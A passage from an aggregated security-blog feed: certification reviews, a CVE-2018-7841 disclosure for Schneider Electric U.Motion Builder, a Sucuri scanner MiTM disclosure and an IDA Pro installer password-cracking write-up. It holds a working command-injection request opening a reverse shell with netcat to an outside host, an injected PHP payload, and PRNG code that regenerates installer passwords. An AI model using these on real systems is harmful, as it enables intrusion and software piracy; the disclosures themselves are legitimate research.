This was like retaking the entire course it really helped me reinforce topics I knew I was weak on. It also helped me understand where things were in each book. This is valuable because although the exam is open-book you don’t have much time to search for things. After this was done I got access to the MP3 recordings. I listed to all of them in the car, on the train, at lunch, and evening time this was the only thing I did. I went to sleep to Lenny’s voice and woke up to it. This again was like taking the course again it helps tremendously. In between this time I also took the 2 practice test they give you. I scored a 76 on first one and 84 on the second one. It was great to have an idea of the type of questions. So I originally scheduled the exam for a Saturday. At this point I felt like I took the class 3 times and went thru the books like a zillion times. It was Thursday night. I said forget waiting until Saturday you’re taking this exam tomorrow. Luckily the testing center had availability and I rescheduled it. After I did it I though “You’re a fucking fool” 😂 But let’s do this!

The Exam

Wake up gather my materials, buy  a Redbull and a water and off I go. I gave myself ample time to get to the testing center absolutely can’t be late. I got there 1 hour early at 8 AM and they allowed me to take the exam immediately. Astonished I couldn’t bring my Redbull in the testing area so I downed it. Testing at a center is so funny because you can’t have anything besides your materials all your belongings get stored in an assigned locker. They made me lift up my hair, pants legs I was like WTF 😂 those folks would make awesome TSA agents. The exam was HARD but I felt prepared. I finished it in 1 hour and this is what it ended up as

Let’s Go!

I was soo proud of myself! ✊🏿
And when you get 90 (90.7 counts😂) or higher you get an invitation to the GIAC Advisory Board.

I encourage you to take the class if you can but only if it’s with Lenny. He answered 1 million and one of my questions & he gives off good vibes.
Take care guys – until next time.

The post GIAC Reverse Engineering Malware (GREM) Review appeared first on Certification Chronicles.

CVE-2018-7841: Schneider Electric U.Motion Builder Remote Code Execution 0-day

13 May 2019 at 00:00

I came across an unauthenticated Remote Code Execution vulnerability (called CVE-2018-7841) on an IoT device which was apparently using a component provided by Schneider Electric called U.Motion Builder.

While I’ve found it using my usual BurpSuite foo, I later noticed that there is already a public advisory about a very similar looking issue published by ZDI named Schneider Electric U.Motion Builder track_import_export SQL Injection Remote Code Execution Vulnerability (ZDI-17-378) aka CVE-2018-7765).

However, the ZDI advisory does only list a brief summary of the issue:

The specific flaw exists within processing of track_import_export.php, which is exposed on the web service with no authentication. The underlying SQLite database query is subject to SQL injection on the object_id input parameter when the export operation is chosen on the applet call. A remote attacker can leverage this vulnerability to execute arbitrary commands against the database.

So I had a closer look at the source code and stumbled upon a bypass to CVE-2018-7765 which was previously (incompletely) fixed by Schneider Electric in version 1.3.4 of U.Motion Builder.

As of today the issue is still unfixed and it won’t be fixed at all in the future, since the product has been retired on 12 March 2019 as a result of my report!

The (Incomplete) Fix

U.Motion 1.3.4 contains the vulnerable file /smartdomuspad/modules/reporting/track_import_export.php in which the application constructs a SQlite query called $where based on the concatenated object_id, which can be supplied either via GET or POST:

switch ($op) {
    case "export":
[...]
        $where = "";
[...]
        if (strcmp($period, ""))
            $where .= "PERIOD ='" . dpadfunctions::string_encode_for_SQLite(strtoupper($period)) . "' AND ";
        if (!empty($date_from))
            $where .= "TIMESTAMP >= '" . strtotime($date_from . " 0:00:00") . "' AND ";
        if (!empty($date_to))
            $where .= "TIMESTAMP <= '" . strtotime($date_to . " 23:59:59") . "' AND ";
        if (!empty($object_id))
            $where .= "OBJECT_ID='" . dpadfunctions::string_encode_for_SQLite($object_id) . "' AND ";
        $where .= "1 ";
[...]

You can see that object_id is first parsed by the string_encode_for_SQLite method, which does nothing more than stripping out a few otherwise unreadable characters (see dpadfunctions.class.php):

function string_encode_for_SQLite( $string ) {
        $string = str_replace( chr(1), "", $string );
        $string = str_replace( chr(2), "", $string );
        $string = str_replace( chr(3), "", $string );
        $string = str_replace( chr(4), "", $string );
        $string = str_replace( chr(5), "", $string );
        $string = str_replace( chr(6), "", $string );
        $string = str_replace( chr(7), "", $string );
        $string = str_replace( chr(8), "", $string );
        $string = str_replace( chr(9), "", $string );
        $string = str_replace( chr(10), "[CRLF]", $string );
        $string = str_replace( chr(11), "", $string );
        $string = str_replace( chr(12), "", $string );
        $string = str_replace( chr(13), "", $string );
        $num = str_replace( ",",".", $string );
        if ( is_numeric( $num ) ) {
            $string = $num;
        }
        else {
            $string = str_replace( "'", "''", $string );
            $string = str_replace( ",","[COMMA]", $string );
        }
        return $string;

$query is afterwards used in call to $dbClient->query():

[...]
$query = "SELECT COUNT(ID) AS COUNTER FROM DPADD_TRACK_DATA WHERE $where";
$counter_retrieve_result = $dbClient->query($query,$counter_retrieve_result_id,_DPAD_DB_SOCKETPORT_DOMUSPADTRACK);
[...]

The query() method can be found in dpaddbclient_NoDbManager_sqlite.class.php:

function query( $query, &$result_set_id, $sDB = null ) {
        $this->setDB( $sDB );
        define( "_DPAD_LOCAL_BACKSLASHED_QUOTE", "[QUOTEwithBACKSLASH]" );
        $query = str_replace("\\"", _DPAD_LOCAL_BACKSLASHED_QUOTE, $query);
        $query = str_replace("\"", "\\"", $query);
        $query = str_replace("$", "\$", $query);
        $query = str_replace( _DPAD_LOCAL_BACKSLASHED_QUOTE, "\\\\"", $query);
        $query_array = explode(" ", trim($query) );
        switch ( strtolower( $query_array[0] ) ) {
        case "insert":
            $query = $query . ";" . "SELECT last_insert_rowid();";
            break;
        case "select":
        default:
            break;
        } $result_set_id = null;
        $sqlite_cmd = _DPAD_ABSOLUTE_PATH_SQLITE_EXECUTABLE . " -header -separator '~' " . $this->getDBPath() . " \"" . $query . "\"";
        $result = exec( $sqlite_cmd, $output, $return_var );
[...]

Here you can see that the query string (which contains object_id) is fed through a bunch of str_replace calls with the intention to filter out dangerous characters such as $ for Unix command substitutions, and by the end of the snippet, you can actually see that another string $sqlite_cmd is concatenated with the previously build $query string and finally passed to an PHP exec() call.

The Exploit

So apparently Schneider Electric tried to fix the previously reported vulnerability by the following line:

$query = str_replace("$", "\$", $query);

As you might already guess, just filtering out $ is not enough to prevent a command injection into an exec() call. So in order to bypass the str_replace fix, you could simply use the backtick operator like in the following exemplary request:

POST /smartdomuspad/modules/reporting/track_import_export.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=l337qjbsjk4js9ipm6mppa5qn4
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

op=export&language=english&interval=1&object_id=`nc -e /bin/sh www.rcesecurity.com 53`

resulting in a nice reverse shell:

A Few Words about the Disclosure Process

I have contacted Schneider Electric for the first time on the 15th November 2018. At this point their vulnerability reporting form wasn’t working at all throwing some errors. So I’ve tried to contact them over twitter (both via a public tweet and via DM) and at the very same time I did also mention that their reporting form does not work at all. Although I haven’t received any response at all, the form was at some point fixed without letting me know . So I’ve sent over all the details of the vulnerability and informed them about my 45-days disclosure policy starting from mind November. From this day the communication with their CERT went quite smoothly and I’ve agreed on extending the disclosure date to 120 days to give them more time to fix the issue. In the end the entire product was retired on 12 March 2019, which is the reason why I have delayed this disclosure by two more months.

PentesterAcademy Attacking and Defending AD Course Review

16 June 2019 at 16:07

Lately I’ve been more busy than usual. Getting my business off the ground, work, life and other things. I’ve got to get to all the messages & of course say THANK YOU for all the well wishes and kind words. By now you probably know even with all that going on, my free time is selfishly spent exclusively on myself 😈 The course I’m referring to is here Attacking and Defending Active Directory by PentesterAcademy.

Why’d You Even Decide To Take It?

Good question that I feel the need to spend some time on. No exaggeration hundreds of people hit me up asking for advice on certs. Since I’ve never necessarily chased a cert for a new position, promotion or anything like that my stance may not reflect everyone’s exact situation. All my certs came from just wanting to gain the knowledge that the cert provided in my quest to get more diverse and deeper into the different security domains. Of course I try to be targeted going after the most distinguished, the most reputable organizations, but really after completing the course and obtaining the cert is a little sad to me 😟. That’s when the fun stops. I encourage you to just continually just challenge yourself and see if you have a breaking point. There’s always time. Being frustrated at yourself while stuck trying to comprehend something new, that’s complex, is ammo for the brain. I love learning, double points if it’s something totally new. It’s like I can feel the new neural pathways in my head growing. I’m always stuck. I’m always reading things 3 times over but I bet you I won’t continue until I completely absorb what I’m reading. Fight the good fight and be better than you were yesterday. Live by it.

After I passed GREM I was in a somber mood similar to how I feel after every cert when all the happiness wears off. Sometimes as soon as the car ride home a question creeps into my mind and it doesn’t go away. “What’s next?” Giving you guys some context I mainly do Application Security for work. My goal is to be a specialist in a few things and a generalist in many. You know what I don’t have? Red-Team experience (besides the basic definition) and absolutely no knowledge of AD (okay maybe a little). I continued thinking wth 😏 how’s that even possible? Then I thought most my hacking is through flag based scenarios and courses. If you’re compromising a user you’re typically exploiting a service, process, or application running in the context of that user. Once I started researching things like lateral movement, exploiting trust relationships between domains, abusing ACLs I was sold. That was my motivation to pay for the course. Oh yeah. It’s was $250 HA! For the value this is EASILY the best course I ever enrolled in 👏🏾.

What Was It Like?

Incredible! Continuing on “value” I received 36 course videos, a copy of the video slides, lab manual, 30 day access to their AWS AD environment, and a sizable zip with all course tools . Each video taught a topic that had questions attached with them to complete in the lab. This is where you really learn! I watched the videos in order learning from the awesome instructor Nikhil Mittal. I was amazed at the comprehensiveness. It was just what a noob like me needed. I watched each video in order. Things like

  •  Lateral Movement
  • Significant time spent on Domain Enumeration
    • Bloodhound
    • Powerview
    • Mimikatz
    • Powercat
  • Local Privilege Escalation
    • Powerup
  • Domain Persistence
    • Understanding Kerberos Environment
      • Golden Tickets
      • Silver Tickets
      • Skeleton Keys
      • DSRM
      • Custom SSPs
      • Admin SD Holder
      • Abusing ACLS
  • Domain Privilege Escalation
    • Kerberos
    • Constrained & Unconstrained Delegation
    • DNSAdmins
    • Enterprise Admins
  • Cross Forest Trust
    • krbtgt hash and sid history
    • Trust ticket

After I watched the videos the second time I started to do all the task in the lab environment. Since I get obsessed with new things I was rushing home to get in my lab environment everyday spending usually from say 5-10 PM everyday practicing. It took about 2 weeks to finish all 23 task. I’m feeling pretty good about things at this point. It’s dumb to feel this way honestly since everything is brand new to me I feel as if my knowledge is procedural. Meaning if I was tossed a curve ball and things deviated slightly from what the course taught I’d easily toast. So I select the positive side and congratulate myself for grinding for going on 1 month straight with the course. Although I studied for over 3 months straight on other certs I still pat myself on the back for a concerted effort on anything. Hey! If you don’t want to clap for yourself, don’t. Now I go back through the entire course seeing if there’s anything that catches me off guard or feels fuzzy and I review it. Let’s do this! #schedulesexam 😲

Exam #1

The exam drops you into an Active Directory environment as a low-privileged user. Your goal is to gain code execution on 5 of the boxes in 24 hours. I started out pretty good gaining 3 users and 2 boxes in 4 hours and then came hell. One part that stank was some of the tools used throughout the course didn’t necessarily work in the exam. In the course we used plenty of PowerView, Mimikatz, and Microsoft’s AD module. Anyway I enumerate the entire domain, ran Bloodhound did everything and couldn’t figure my way forward. I stay up the entire 24 and come up dry. Didn’t bother submitting exam report 🤒.

Exam #2 (1 week later)

I spend this week reviewing videos on enumeration. I don’t know why but I felt I missed something simple. I start off the exam and gain all privileges that I left off with. I run Bloodhound again after that checking things like sessions, group membership, outbound ACL control. It’s then that I realize I missed something that wasn’t even hidden 🔎. I think back to myself, how could I have missed this it was right there. Then I understand what happened. (always try to think if you come up short on anything – what went wrong and how could I not make that mistake again) So while I was enumerating one of the tools missed it luckily since bloodhound shows similar information I saw it there. I was PUMPED 🙌🤳 at this point. Not to mention I got this like 30 minutes into the 24 hours. I begin pivoting through the domain gaining users and more boxes. 3 hours later I get Domain Admin dump all the hashes in the domain. Game Over. I create an inter-realm tgt gain code execution on the forest domain controller. Finished the report in a hour, proof read it – sent it off. 8 hours later I get the following

Dedication Wins!!

And a few hours after that I receive the following along with a personal email from the instructor himself. Geeked about that 😎. Again, there’s always time.

Overall this course was amazing. A couple things I loved?

  • How the exam seemed to stretch you and isn’t easy. You’ll learn a lot of new things in the exam itself.
  • The responsive and helpfulness of the Active Directory Support Staff. I constantly bothered them with any questions I had. You can’t beat it.

As I’m typing this guess what’s going through my mind. “What’s next?”

The post PentesterAcademy Attacking and Defending AD Course Review appeared first on Certification Chronicles.

About a Sucuri RCE…and How Not to Handle Bug Bounty Reports

20 June 2019 at 00:00

TL;DR

Sucuri is a self-proclaimed “most recommended website security service among web professionals” offering protection, monitoring and malware removal services. They ran a Bug Bounty program on HackerOne and also blogged about how important security reports are. While their program was still active, I’ve been hacking on them quite a lot which eventually ranked me #1 on their program.

By the end of 2017, I have found and reported an explicitly disabled SSL certificate validation in their server-side scanner, which could be used by an attacker with MiTM capabilities to execute arbitrary code on Sucuri’s customer systems.

The result: Sucuri provided me with an initial bounty of 250 USD for this issue (they added 500 USD later due to a misunderstanding on their side) - out of an announced 5000 USD max bounty, fixed the issue, closed my report as informative and went completely silent to apparently prevent the disclosure of this issue.

Every Sucuri customer who is using the server-side scanner and who installed it on their server before June 2018 should immediately upgrade the server-side scanner to the most recent version which fixes this vulnerability!

SSL Certificate Validation is Overrated

As part of their services, Sucuri offers a custom server-side scanner, which customers can place on their servers and which runs periodic scans to detect integrity failures / compromises. Basically the server-side scanner is just a custom PHP script with a random looking filename of i.e. sucuri-[md5].php which a customer can place on their webserver.

NOTE: Due to a copyright notice in the script itself, I cannot share the full server-side scanner script here, but will use pseudo-code instead to show its logic. If you want to play with it by yourself, register an account with them and grab the script by yourself ;-)

<?php
$endpoint = "monitor2";
$pwd = "random-md5";

if(!isset($_GET['run']))
{
    exit(0);
}

if(!isset($_POST['secret']))
{
    exit(0);
}

$c = curl_init();
curl_setopt($c, CURLOPT_URL, "https://$endpoint.sucuri.net/imonitor");
curl_setopt($c, CURLOPT_POSTFIELDS, "p=$pwd&amp;q=".$_POST['secret']); 
curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);
$result = curl_exec($c);

$b64 =  base64_decode($result);

eval($b64);
?>

As soon as you put the script in the web root of your server and configure your Sucuri account to perform server-side scans, the script instantly gets hit by the Sucuri Integrity Monitor with an HTTP POST request targeting the run method like the following:

This HTTP POST request does also include the secret parameter as shown in the pseudocode above and basically triggers a bunch of IP validations to make sure that only Sucuri is able to trigger the script. Unfortunately this part is flawed as hell due to stuff like:

$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']

(But that’s an entirely different topic and not covered by this post.)

By the end of the script, a curl request is constructed which eventually triggers a callback to the Sucuri monitoring system. However, there is one strange line in the above code:

curl_setopt($c, CURLOPT_SSL_VERIFYPEER, false);

So Sucuri explicitly set CURLOPT_SSL_VERIFYPEER to false. The consequences of this are best described by the curl project itself:

WARNING: disabling verification of the certificate allows bad guys to man-in-the-middle the communication without you knowing it. Disabling verification makes the communication insecure. Just having encryption on a transfer is not enough as you cannot be sure that you are communicating with the correct end-point.

So this is not cool.

The issued callback doesn’t contain anything else than the previously mentioned secret and looks like the following:

The more interesting part is actually the response to the callback which contains a huge base64 string prefixed by the string WORKED::

After decoding I noticed that it’s simply some PHP code which was generated on the Sucuri infrastructure to do the actual server-side scanning. So essentially a Man-in-the-Middle attacker could simply replace the base64 string with his own PHP code just like c3lzdGVtKCJ0b3VjaCAvdG1wL3JjZSIpOw== which is equal to system("touch /tmp/rce");:

Which finally leads to the execution of the arbitrary code on the customer’s server:

How Not to Handle Security Reports

This is actually the most interesting part, because communicating with Sucuri was a pain. Since there have been a lot of communication back and forth between me, Sucuri and HackerOne on different ways including the platform and email, The following is a summary of the key events of the communication and should give a good impression about Sucuri’s way to handle security reports.

2017-11-05

I’ve sent the initial report to Sucuri via HackerOne (report #287580)

2017-11-16

Sucuri says that they are aware of the issue but CURLOPT_SSL_VERIFYPEER cannot be enabled due to many hosters not offering the proper libraries and the attack scenario would include an attacker having MiTM on the hoster.

MiTM is required - true. But there are many ways to achieve this, and the NSA and Chinese authorities have proven to be capable of such scenarios in the past. And I’m not even talking about sometimes critical compliance requirements such as PCI DSS.

2017-11-17

Sucuri does not think that a MiTM is doable:

Think about it, If MITM the way you are describing was doable, you would be able to hijack emails from almost any provider (as SMTP goes unencrypted), redirect traffic by hijacking Google’s 8.8.8.8 DNS and create much bigger issues across the whole internet.

Isn’t that exactly the reason why we should use TLS across the world and companies such as Google try to enforce it wherever possible?

2017-11-17

I came up with a bunch of other solutions to tackle the “proper libraries issue”:

  1. You could deliver the certificate chain containing only your CA, Intermediates and server certificate via a separate file (or as part of your PHP file) to the customer and do the verification of the server certificate within PHP, i.e. using PHP’s openssl_x509_parse().
  2. You could add a custom method on the customer-side script to verify a signature delivered with the payload sent from monitor2. As soon as the signature does not match, you could easily discard the payload before calling eval(). The signature to be used must be - of course - cryptographically secure by design.
  3. You could also encrypt the payload to be sent to the customer site using public-private key crypto on your side and decrypt it using the public key on the client side (rather than encoding it using base64). Should also be doable in pure PHP.

2017-11-29 to 2018-05-16

Sucuri went silent for half a year, where I’ve tried to contact them through HackerOne and directly via email. During that period I’ve also requested mediation through HackerOne.

2018-06-07

Suddenly out of the blue Sucuri told me that they have a fix ready for testing.

2018-06-21

Sucuri rewards the minimum bounty of 250 USD because of:

  1. A successful exploitation only works if a malicious actor uses network-level attacks (resulting in MITM) against the hosting server (or any of the intermediary hops to it) to impersonate our API. While in theory possible, this would require a lot of efforts for very little results (in term of the amount of sites affected at once versus the capacity required to conduct the attack). The fact we use anycast also doesn’t guarantee a BGP hijacking attack would be successful.
  2. The server-side scanner file contains a unique hash for every single site, which is an information the attacker would also need in order to perform any kind of attack against our customers.

2018-07-18

Sucuri adds an additional 500 USD to the bounty amount because they apparently misunderstood the signature validation point.

2018-09-15

I’ve requested to publicly disclose this issue because it was of so low severity for Sucuri, they shouldn’t have a problem with publicly disclosing this issue.

2018-10-12

A couple of days right before the scheduled disclosure date: Sucuri reopens the report and changes the report status to Informative without any further clarification. No further reply on any channel from Sucuri. That’s where they went silent for the second time.

2018-11-23

I’ve followed up with HackerOne about the whole story and they literally tried everything to resolve this issue by contacting Sucuri directly. HackerOne told me that Sucuri will close their program and the reason for the status change was to address some information which they feel is sensitive.

HackerOne closes the program at their request on 2018-12-15. HackerOne even made them aware of different tools to censor the report, but Sucuri did not react anymore (again).

2019-01-02

Agreed with HackerOne about taking the last resort disclosure option, and giving Sucuri another 180 days of additional time to respond. They never responded.

2019-06-13 to 2019-06-19

I’ve sent a couple of more emails directly to Sucuri (where they used to respond to) to make them aware of this blog post, but again: no answer at all.

2019-06-20

Public disclosure in the interest of the general public according to HackerOne’s last resort option.

About HackerOne’s Last Resort Option

I have tried to disclose this issue several times through HackerOne, but unfortunately Sucuri wasn’t willing to provide any disclosure timeline (have you read the mentioned blog article?) - in fact they did not even respond anymore in the end (not even via email) - which is why I took the last resort option after consulting with HackerOne and as per their guidelines:

If 180 days have elapsed with the Security Team being unable or unwilling to provide a vulnerability disclosure timeline, the contents of the Report may be publicly disclosed by the Finder. We believe transparency is in the public’s best interest in these extreme cases.

Since this is about an RCE affecting potentially all of Sucuri’s customers who are using the server-side security scanner, and since there was no public or customer statement by Sucuri (at least that I am aware of) I think the general public deserves to know about this flaw.

Operation Crack: Hacking IDA Pro Installer PRNG from an Unusual Way

20 June 2019 at 16:00

English Version 中文版本

Introduction

Today, we are going to talk about the installation password of Hex-Rays IDA Pro, which is the most famous decompiler. What is installation password? Generally, customers receive a custom installer and installation password after they purchase IDA Pro. The installation password is required during installation process. However, if someday we find a leaked IDA Pro installer, is it still possible to install without an installation password? This is an interesting topic.

After brainstorming with our team members, we verified the answer: Yes! With a Linux or MacOS version installer, we can easily find the password directly. With a Windows version installer, we only need 10 minutes to calculate the password. The following is the detailed process:

* Linux and MacOS version

The first challenge is Linux and MacOS version. The installer is built with an installer creation tool called InstallBuilder. We found the plaintext installation password directly in the program memory of the running IDA Pro installer. Mission complete!

This problem is fixed after we reported through Hex-Rays. BitRock released InstallBuilder 19.2.0 with the protection of installation password on 2019/02/11.

* Windows version

It gets harder on Windows version because the installer is built with Inno Setup, which store its password with 160-bit SHA-1 hash. Therefore, we cannot get the password simply with static or dynamic analyzing the installer, and brute force is apparently not an effective way. But the situation is different if we can grasp the methodology of password generation, which lets us enumerate the password more effectively!

Although we have realized we need to find how Hex-Rays generate password, it is still really difficult, as we do not know what language the random number generator is implemented with. There are at least 88 random number generators known. It is such a great variation.

We first tried to find the charset used by random number generator. We collected all leaked installation passwords, such as hacking team’s password, which is leaked by WikiLeaks.

  • FgVQyXZY2XFk (link)
  • 7ChFzSbF4aik (link)
  • ZFdLqEM2QMVe (link)
  • 6VYGSyLguBfi (link)

From the collected passwords we can summarize the charset: 23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz

The missing of 1, I, l, 0, O, o, N, n seems to make sense because they are confusing characters. Next, we guess the possible charset ordering like these:

23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz
23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789
ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789

Lastly, we picked some common languages(c/php/python/perl)to implement a random number generator and enumerate all the combinations. Then we examined whether the collected passwords appears in the combinations. For example, here is a generator written in C language:

#include<stdio.h>
#include<stdlib.h>

char _a[] = "23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz";
char _b[] = "ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz";
char _c[] = "23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ";
char _d[] = "abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ";
char _e[] = "abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";
char _f[] = "ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789";

int main()
{
        char bufa[21]={0};
        char bufb[21]={0};
        char bufc[21]={0};
        char bufd[21]={0};
        char bufe[21]={0};
        char buff[21]={0};

        unsigned int i=0;
        while(i<0x100000000)
        {
                srand(i);

                for(size_t n=0;n<20;n++)
                {
                        int key= rand() % 54;
                        bufa[n]=_a[key];
                        bufb[n]=_b[key];
                        bufc[n]=_c[key];
                        bufd[n]=_d[key];
                        bufe[n]=_e[key];
                        buff[n]=_f[key];

                }
                printf("%s\n",bufa);
                printf("%s\n",bufb);
                printf("%s\n",bufc);
                printf("%s\n",bufd);
                printf("%s\n",bufe);
                printf("%s\n",buff);
                i=i+1;
        }
}

After a month, we finally generated the IDA Pro installation passwords successfully with Perl, and the correct charset ordering is abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789. For example, we can generate the hacking team’s leaked password FgVQyXZY2XFk with the following script:

#!/usr/bin/env perl
#
@_e = split //,"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";

$i=3326487116;
srand($i);
$pw="";

for($i=0;$i<12;++$i)
{
        $key = rand 54;
        $pw = $pw . $_e[$key];
}
print "$i $pw\n";

With this, we can build a dictionary of installation password, which effectively increase the efficiency of brute force attack. Generally, we can compute the password of one installer in 10 minutes.

We have reported this issue to Hex-Rays, and they promised to harden the installation password immediately.

Summary

In this article, we discussed the possibility of installing IDA Pro without owning installation password. In the end, we found plaintext password in the program memory of Linux and MacOS version. On the other hand, we determined the password generation methodology of Windows version. Therefore, we can build a dictionary to accelerate brute force attack. Finally, we can get one password at a reasonable time.

We really enjoy this process: surmise wisely and prove it with our best. It can broaden our experience no matter the result is correct or not. This is why we took a whole month to verify such a difficult surmise. We also take this attitude in our Red Team Assessment. You would love to give it a try!

Lastly, we would like to thank for the friendly and rapid response from Hex-Rays. Although this issue is not included in Security Bug Bounty Program, they still generously awarded us IDA Pro Linux and MAC version, and upgraded the Windows version for us. We really appreciate it.

Timeline

  • Jan 31, 2019 - Report to Hex-Rays
  • Feb 01, 2019 - Hex-Rays promised to harden the installation password and reported to BitRock
  • Feb 11, 2019 - BitRock released InstallBuilder 19.2.0

破密行動: 以不尋常的角度破解 IDA Pro 偽隨機數

20 June 2019 at 16:00

English Version 中文版本

前言

Hex-Rays IDA Pro 是目前世界上最知名的反組譯工具,今天我們想來聊聊它的安裝密碼。什麼是安裝密碼?一般來說,在完成 IDA Pro 購買流程後,會收到一個客製化安裝檔及安裝密碼,在程式安裝過程中,會需要那組安裝密碼才得以繼續安裝。那麼,如果今天在網路上發現一包洩漏的 IDA Pro 安裝檔,我們有可能在不知道密碼的狀況下順利安裝嗎?這是一個有趣的開放性問題。

在我們團隊成員腦力激盪下,給出了一個驗證性的答案:是的,在有 Linux 或 MacOS 版安裝檔的狀況下,我們可以直接找到正確的安裝密碼;而在有 Windows 版安裝檔的狀況下,我們只需要十分鐘就可算出安裝密碼。

下面就是我們的驗證流程:

* Linux 以及 MacOS 版

最先驗證成功的是 Linux 及 MacOS 版,這兩個版本都是透過 InstallBuilder 封裝成安裝檔。我們嘗試執行安裝程式,並在記憶體中直接發現了未加密的安裝密碼。任務達成!

在透過 Hex-Rays 協助回報後,BitRock 也在 2019/02/11 釋出了 InstallBuilder 19.2.0,加強了安裝密碼的保護。

* Windows 版

在 Windows 版上解決這個問題是項挑戰,因為這個安裝檔是透過 Inno Setup 封裝的,其安裝密碼是採用 160-bit SHA-1 hash 的方式儲存,因此我們無法透過靜態、動態程式分析直接取得密碼,透過暴力列舉也不是一個有效率的方式。不過,如果我們掌握了產生密碼的方式,那結果可能就不一樣了,我們也許可以更有效率的窮舉。

雖然我們已經有了方向是要找出 Hex-Rays 如何產生密碼,但要去驗證卻是”非常困難”的。因為我們不知道亂數產生器是用什麼語言實作的,而目前已知至少有 88 種亂數產生器,種類太多了。同時,我們也無法知道亂數產生器所使用的字元組和字元順序是什麼。

要找出亂數產生器所使用的字元組是眾多困難事中比較簡單的一件,首先,我們竭盡所能的收集所有 IDA Pro 的安裝密碼,例如 WikiLeaks 所揭露的 hackingteam 使用之密碼:

  • FgVQyXZY2XFk (link)
  • 7ChFzSbF4aik (link)
  • ZFdLqEM2QMVe (link)
  • 6VYGSyLguBfi (link)

從所有收集到的安裝密碼中我們整理出所用到的字元組: 23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz

少了 1, I, l, 0, O, o, N, n 字元,推測這些都是容易混淆的字元,因此不放入密碼字元組中是合理的。接著,我們用這些字元組,猜測可能的排列順序:

23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz
ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz
23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ
abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789
ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789

最後,我們挑選幾個比較常見的語言(c/php/python/perl)並使用上述的字元組實作亂數產生器,列舉所有亂數組合,看看我們收集到的安裝密碼有沒有出現在這些組合中。例如我們用下面程式碼列舉 C 語言的亂數組合:

#include<stdio.h>
#include<stdlib.h>

char _a[] = "23456789ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz";
char _b[] = "ABCDEFGHJKLMPQRSTUVWXYZ23456789abcdefghijkmpqrstuvwxyz";
char _c[] = "23456789abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ";
char _d[] = "abcdefghijkmpqrstuvwxyz23456789ABCDEFGHJKLMPQRSTUVWXYZ";
char _e[] = "abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";
char _f[] = "ABCDEFGHJKLMPQRSTUVWXYZabcdefghijkmpqrstuvwxyz23456789";

int main()
{
        char bufa[21]={0};
        char bufb[21]={0};
        char bufc[21]={0};
        char bufd[21]={0};
        char bufe[21]={0};
        char buff[21]={0};

        unsigned int i=0;
        while(i<0x100000000)
        {
                srand(i);

                for(size_t n=0;n<20;n++)
                {
                        int key= rand() % 54;
                        bufa[n]=_a[key];
                        bufb[n]=_b[key];
                        bufc[n]=_c[key];
                        bufd[n]=_d[key];
                        bufe[n]=_e[key];
                        buff[n]=_f[key];

                }
                printf("%s\n",bufa);
                printf("%s\n",bufb);
                printf("%s\n",bufc);
                printf("%s\n",bufd);
                printf("%s\n",bufe);
                printf("%s\n",buff);
                i=i+1;
        }
}

大約一個月的運算,我們終於成功利用 Perl 亂數產生出 IDA Pro 的安裝密碼,而正確的字元組順序為 abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789。例如 hacking team 洩漏的 IDA Pro 6.8 安裝密碼是 FgVQyXZY2XFk,就可用下面程式碼產生:

#!/usr/bin/env perl
#
@_e = split //,"abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789";

$i=3326487116;
srand($i);
$pw="";

for($i=0;$i<12;++$i)
{
        $key = rand 54;
        $pw = $pw . $_e[$key];
}
print "$i $pw\n";

透過這些資訊,我們可以建立一個用來暴力列舉安裝密碼的字典檔,縮短暴力列舉的時間,實作方式可參考 inno2john 專案。在一般情況下,約十分鐘即可算出 windows 安裝檔的安裝密碼。

在回報 Hex-Rays 後,他們立刻表示之後將會使用更安全的安裝密碼。

總結

本篇文章提出了一個開放性問題:在未知安裝密碼的情況下可不可以安裝 IDA Pro?結果我們在 Linux 以及 MacOS 版發現可以從記憶體中取得明文密碼。而在 Windows 版本中,我們黑箱找到了安裝密碼產生的方式,因此我們可以建立一份字典檔,用以縮短暴力列舉安裝密碼的時間,最終,我們約十分鐘可解出一組密碼,是一個可以接受的時間。

